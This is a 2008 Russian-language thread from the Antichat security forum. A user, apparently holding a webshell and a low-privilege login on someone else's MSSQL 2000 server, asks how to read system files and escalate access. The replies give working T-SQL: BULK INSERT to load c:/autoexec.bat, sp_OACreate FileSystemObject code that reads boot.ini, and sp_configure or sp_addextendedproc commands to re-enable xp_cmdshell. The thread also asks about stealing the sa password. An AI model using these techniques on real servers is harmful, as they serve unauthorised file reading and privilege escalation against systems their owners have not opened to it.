ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Помогите с MSSQL
  #1  
Старый 11.11.2008, 15:57
FIXERMAN
Banned
Регистрация: 07.08.2008
Сообщений: 6
Провел на форуме:
13367

Репутация: -2
Отправить сообщение для FIXERMAN с помощью ICQ
Question Помогите с MSSQL

Привет
Имеется коннект к MSSQL 2000 права юЗверя хранимые процедуры выключены (например xp_cmdshell) но ...
Таким запросом список системные файлов можно посмотреть

Код:
$link = mssql_connect("192.168.0.1", "user", "passwords") or die("Could not connect to MsSQL server!");
   mssql_select_db("master",$link) or die("Could not select company database!");
   $query = "exec xp_dirtree 'c:\',0,1"; так с файлами 
 \\$query = "exec xp_dirtree 'c:\',1"; так только папки
   $result = mssql_query($query,$link);

   echo '<table cellpadding="2" cellspacing="1" width="100%">';
   echo "<tr><td>DIRECTORY</td></tr>";
   while($line=mssql_fetch_assoc($result)){
    echo

"<tr><td>$line[subdirectory]</td></tr>";
}
echo "</table>";

   print "Total rows selected: ".mssql_num_rows($result);
   mssql_close($link);
-------------------------------------------------------------------------
но суть проблемы в том что надо прочитать системные файлы например autoexec.bat (редакт не объязателен можно даже только read only)

ВОПРОС: как можно прочитать файлы если xp_cmdshell выключен или как импортировать в БД бинарный файл ? или как нить можно другими процедурами выполнить такое или создать хранимую процеду ? ...
 
Ответить с цитированием

  #2  
Старый 11.11.2008, 19:26
[Raz0r]
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме:
3244717

Репутация: 1980
Отправить сообщение для [Raz0r] с помощью ICQ
По умолчанию

Цитата:
ВОПРОС: как можно прочитать файлы если xp_cmdshell выключен или как импортировать в БД бинарный файл ?
CREATE TABLE file(line varchar(8000),id int identity);
BULK INSERT file FROM "c:/autoexec.bat";
SELECT line FROM file WHERE id=x;
 
Ответить с цитированием

  #3  
Старый 11.11.2008, 22:01
FIXERMAN
Banned
Регистрация: 07.08.2008
Сообщений: 6
Провел на форуме:
13367

Репутация: -2
Отправить сообщение для FIXERMAN с помощью ICQ
По умолчанию

Выдает вот такую ошибку ...поменял имя таблицы все ровно
Server: Msg 156, Level 15, State 1, Line 1
Incorrect syntax near the keyword 'file'.
Server: Msg 156, Level 15, State 1, Line 3
Incorrect syntax near the keyword 'file'.

и еще вот такую

Server: Msg 4832, Level 16, State 1, Line 1
Bulk Insert: Unexpected end-of-file (EOF) encountered in data file.
Server: Msg 7399, Level 16, State 1, Line 1
OLE DB provider 'STREAM' reported an error. The provider did not give any information about the error.
The statement has been terminated.

и вот еще
Server: Msg 207, Level 16, State 3, Line 1
Invalid column name 'x'.

короче такие варианты не катит или я что от криво делаю

P.S таблица открывается но пусто ничё туда не импортируется ... (сам файл есть текстовом формате)
 
Ответить с цитированием

  #4  
Старый 11.11.2008, 22:20
[Raz0r]
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме:
3244717

Репутация: 1980
Отправить сообщение для [Raz0r] с помощью ICQ
По умолчанию

попробуй тогда так:

CREATE TABLE temp (line varchar(8000));
BULK INSERT temp FROM "c:/autoexec.bat";
SELECT TOP 1 line FROM temp;

Цитата:
Server: Msg 4832, Level 16, State 1, Line 1
Bulk Insert: Unexpected end-of-file (EOF) encountered in data file.
Server: Msg 7399, Level 16, State 1, Line 1
OLE DB provider 'STREAM' reported an error. The provider did not give any information about the error.
The statement has been terminated.
попробуй еще какие-нибудь файлы загрузить в таблицу
 
Ответить с цитированием

  #5  
Старый 11.11.2008, 22:30
FIXERMAN
Banned
Регистрация: 07.08.2008
Сообщений: 6
Провел на форуме:
13367

Репутация: -2
Отправить сообщение для FIXERMAN с помощью ICQ
По умолчанию

Спасибо пашет +1

Теперь на php переводит его и с вебшелла попробовать осталось там )

P.S рано порадовался =( права на BCP (bulk copy) нету там с вебшелла млин =( надо придумать еще какойто вариант чтоб прочитать тот файл .... именно через mssql других вариантов нету или есть вариант включить xp_cmdshell ? или угнать пароль от sa может есть варианты другие варианты ?

P.S.s Raz0r откликнись плиз в аське ...

Последний раз редактировалось FIXERMAN; 11.11.2008 в 22:43..
 
Ответить с цитированием

  #6  
Старый 12.11.2008, 11:27
FIXERMAN
Banned
Регистрация: 07.08.2008
Сообщений: 6
Провел на форуме:
13367

Репутация: -2
Отправить сообщение для FIXERMAN с помощью ICQ
По умолчанию

Смотрим файл boot.ini

declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1
exec @ret = sp_oamethod @f, 'readline', @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, 'readline', @line out
end
-----------------------------
и итак у себя норм показывает но там с вебшелла результаты не могу посмотреть пока
 
Ответить с цитированием

  #7  
Старый 12.11.2008, 20:50
[Raz0r]
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме:
3244717

Репутация: 1980
Отправить сообщение для [Raz0r] с помощью ICQ
По умолчанию

Цитата:
или есть вариант включить xp_cmdshell ?
Код:
EXEC sp_configure 'show advanced options', 1; 
RECONFIGURE; 
EXEC sp_configure 'xp_cmdshell', 1; 
RECONFIGURE;
или так:
Код:
sp_addextendedproc 'xp_cmdshell','xplog70.dll';
 
Ответить с цитированием

  #8  
Старый 14.11.2008, 22:07
FIXERMAN
Banned
Регистрация: 07.08.2008
Сообщений: 6
Провел на форуме:
13367

Репутация: -2
Отправить сообщение для FIXERMAN с помощью ICQ
По умолчанию

прав нету master dbo owner ......

щас таблицы ищу где права Grant там и bulk ним его а так уже хз как ...
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Помогите узнать пароль админа Моргенштерн АнтиАдмин 27 21.07.2008 01:35
Помогите написать программу на С++, генератор массива neon17 С/С++, C#, Delphi, .NET, Asm 3 20.01.2008 23:05
Народ!!! Помогите НАМ!!! Помогите покончить с беспределом!!! Monah Чаты 7 24.08.2005 07:06



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ